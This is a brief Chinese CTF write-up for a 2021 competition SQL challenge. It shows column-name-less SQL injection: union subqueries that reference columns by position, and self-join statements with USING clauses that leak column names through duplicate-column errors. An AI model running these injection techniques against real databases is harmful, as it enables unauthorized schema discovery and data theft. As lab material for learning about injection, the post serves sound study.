21年国赛 -- easy_sql --- 利用join进行无列名注入

Posted 2022-12-14 Zero_Adam

这个利用join进行无列名注入，获取 数据表名称的方法，

只能够，在不是bool盲注的时候使用，也就是必须要有回显，因为我们没有办法将错误信息给select出来，

这个join报错获得表名 这个方法，是一定要用到报错注入的是吧，(我猜是）
如果是外显式的话，就报错直接出了，像这次国赛这个题一样

但是 如果试bool型盲注的话，也就是外显只有 0 1 情况的话，
那应该就没有办法了。因为我们没有办法把报错信息 给 select 出来，也就没有办法进行substr进行bool判断，比较，

select 1,2,3 union select * from sc;

select `1` from (select 1,2,3 union select * from sc)a;

select b from (select 1,2 as b ,3 union select * from sc)ds;

爆出第一个表名：
select * from users union all select * from (select * from users as a join users b )c;

爆出第二个表名：
select * from users union all select * from (select * from users as a join users b using(user_id))c;

以此类推，第三个：
select * from users union all select * from (select * from users as a join users b using(user_id,first_name))c;